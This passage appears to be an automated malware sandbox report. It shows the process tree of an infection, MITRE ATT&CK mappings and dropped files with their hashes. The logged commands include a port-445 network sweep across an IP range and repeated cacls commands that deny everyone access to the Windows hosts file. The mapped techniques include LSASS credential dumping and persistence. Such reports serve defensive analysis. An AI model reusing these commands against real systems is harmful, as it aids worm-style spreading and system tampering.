  cmd.exe /c C:\Windows\ellgzquyp\liufublgq\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2244
- - C:\Windows\ellgzquyp\liufublgq\cqcdrztla.exe
    cqcdrztla.exe TCP 138.199.0.1 138.199.255.255 445 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:4440
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  PID:5264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5880
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:220
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:5520
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5860
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2608
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5692
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4984
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5860
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:5340
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5392
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2136
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4572
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5980
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2396
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:4464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5800
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3872
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6092

C:\Windows\SysWOW64\varpws.exe
C:\Windows\SysWOW64\varpws.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4268

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\zvueslg.exe
1⤵
PID:4756
- C:\Windows\ime\zvueslg.exe
  C:\Windows\ime\zvueslg.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1204

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\zvueslg.exe
1⤵
PID:1132
- C:\Windows\ime\zvueslg.exe
  C:\Windows\ime\zvueslg.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\vtqquupde\config.json

Filesize
689B

MD5
569c23dd0c8e6be4f9837fc16b303703

SHA1
f9591f19ae1fa12fd6dab04f9375011c89adae3a

SHA256
86e7f4aa281e9bc0f783b667bf10321bfd551785e9ceccb8503ec43c861813d6

SHA512
66083161de0444d735399ba05bcfca32a9e5e16a1134d3982fc232a9c4f19bb56caf8bb6e23204f116acf7e0b1c146f8fd7a1a61ed40545bb7935827edd2e74d

Download Submit
C:\Windows\Temp\nse404.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nse404.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\rxtrust.exe

Filesize
72KB

MD5
fc5b65cf9b456e0faba5f6f5a69ef462

SHA1
1e108343e1048a5c971212684de9402dd610a4a4

SHA256
c733e0d16741640a5c4da33b74cd755d68c54370477fc4267a40e2998e98e21c

SHA512
a387dabb37b761c9181bbc701fb23a6419685db1ebd2e7c09986e8d782102f47b52501856e7ea269bbfe7b6276d827b2d636194c7c34a42b5a0cb9d7aca662c8

Download Submit
C:\Windows\Temp\vtqquupde\eilqub.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\ellgzquyp\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\ellgzquyp\liufublgq\cqcdrztla.exe

Filesize
63KB

MD5
821ea58e3e9b6539ff0affd40e59f962

SHA1
635a301d847f3a2e85f21f7ee12add7692873569

SHA256
a06d135690ec5c5c753dd6cb8b4fe9bc8d23ca073ef9c0d8bb1b4b54271f56bb

SHA512
0d08235781b81ff9e0a75f0e220a8d368d95ee75bf482670e83696e59d991aad68310ae7fa677ac96ffad1f97b3ec7d7208dc26d2edb111c39213b32502b82f6

Download Submit
C:\Windows\ellgzquyp\liufublgq\ip.txt

Filesize
191B

MD5
144c67b072139100b529a17322c03763

SHA1
01b9f6123711c3339d3b672b80ed5b529b34e9e5

SHA256
e0eb9426b483e367271a1ffe9daff7096076c4c613f1d741c5d2d4d1ffb1a2be

SHA512
f8270bcc3243e99cafc6dcde9fb45b07aec6bcc6c62e49909da78b37f47e9910ac2b07b408d9e9e214c7f225361bb1ccc5f60a137009553721070bc1fd3372c7

Download Submit
C:\Windows\ellgzquyp\liufublgq\iqptattte.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\ellgzquyp\liufublgq\scan.bat

Filesize
159B

MD5
d6c86082818a940184407ec855f8ac39

SHA1
e935c81c39daf904187f9e280940d44b2dcb7626

SHA256
2e23726e29dab92a1af528ba612e78ba4b15e91c548c96c392b7ab37ffe777fa

SHA512
b09fc39a83cc1d83810a82e81e838048448a6a084e8ef6f18abf8c2589c9d1c11c2871d156a11ecdf43ccbe7d0c3e6c3c44bcb7d6a6ad8f6227027386fffd6d9

Download Submit
C:\Windows\ellgzquyp\liufublgq\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
C:\Windows\qbpudlti\zvueslg.exe

Filesize
6.4MB

MD5
53574f4fd0eff9c14f882a0efbd7285f

SHA1
414926ad24ebfba6644a44131d66edb3e9c1c9a7

SHA256
e459dfa79cf5a6847eb12a53f19895c09b37e64bd18d40ea21b150a0b9555a24

SHA512
3ad4c40725297759d7c46f863ef0405bc2cfdbac3f29a8b4e2b164a0967775a941b4c5bba1c2c8f733d6bd0fdbe5f8495d858c3db7af7521b7ca05b7445f8220

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
memory/2072-146-0x00007FF75D140000-0x00007FF75D260000-memory.dmp

Filesize
1.1MB

Download
memory/2072-195-0x00007FF75D140000-0x00007FF75D260000-memory.dmp

Filesize
1.1MB

Download
memory/2072-207-0x00007FF75D140000-0x00007FF75D260000-memory.dmp

Filesize
1.1MB

Download
memory/2072-206-0x00007FF75D140000-0x00007FF75D260000-memory.dmp

Filesize
1.1MB

Download
memory/2072-141-0x00007FF75D140000-0x00007FF75D260000-memory.dmp

Filesize
1.1MB

Download
memory/2072-204-0x00007FF75D140000-0x00007FF75D260000-memory.dmp

Filesize
1.1MB

Download
memory/2072-144-0x00000278D1D30000-0x00000278D1D40000-memory.dmp

Filesize
64KB

Download
memory/2072-145-0x00007FF75D140000-0x00007FF75D260000-memory.dmp

Filesize
1.1MB

Download
memory/2072-201-0x00007FF75D140000-0x00007FF75D260000-memory.dmp

Filesize
1.1MB

Download
memory/2072-198-0x00007FF75D140000-0x00007FF75D260000-memory.dmp

Filesize
1.1MB

Download
memory/2072-197-0x00007FF75D140000-0x00007FF75D260000-memory.dmp

Filesize
1.1MB

Download
memory/2072-187-0x00007FF75D140000-0x00007FF75D260000-memory.dmp

Filesize
1.1MB

Download
memory/2072-174-0x00007FF75D140000-0x00007FF75D260000-memory.dmp

Filesize
1.1MB

Download
memory/2072-162-0x00007FF75D140000-0x00007FF75D260000-memory.dmp

Filesize
1.1MB

Download
memory/3316-128-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/3316-4-0x0000000000400000-0x0000000000A0A000-memory.dmp

Filesize
6.0MB

Download
memory/3316-0-0x0000000000400000-0x0000000000A0A000-memory.dmp

Filesize
6.0MB

Download
memory/3316-138-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/3356-8-0x0000000000400000-0x0000000000A0A000-memory.dmp

Filesize
6.0MB

Download
memory/4360-79-0x0000000000B70000-0x0000000000BBC000-memory.dmp

Filesize
304KB

Download
memory/4440-159-0x0000000000D30000-0x0000000000D42000-memory.dmp

Filesize
72KB

Download
memory/4440-205-0x0000000000D30000-0x0000000000D42000-memory.dmp

Filesize
72KB

Download
memory/4480-119-0x00007FF632E80000-0x00007FF632F6E000-memory.dmp

Filesize
952KB

Download
memory/4480-122-0x00007FF632E80000-0x00007FF632F6E000-memory.dmp

Filesize
952KB

Download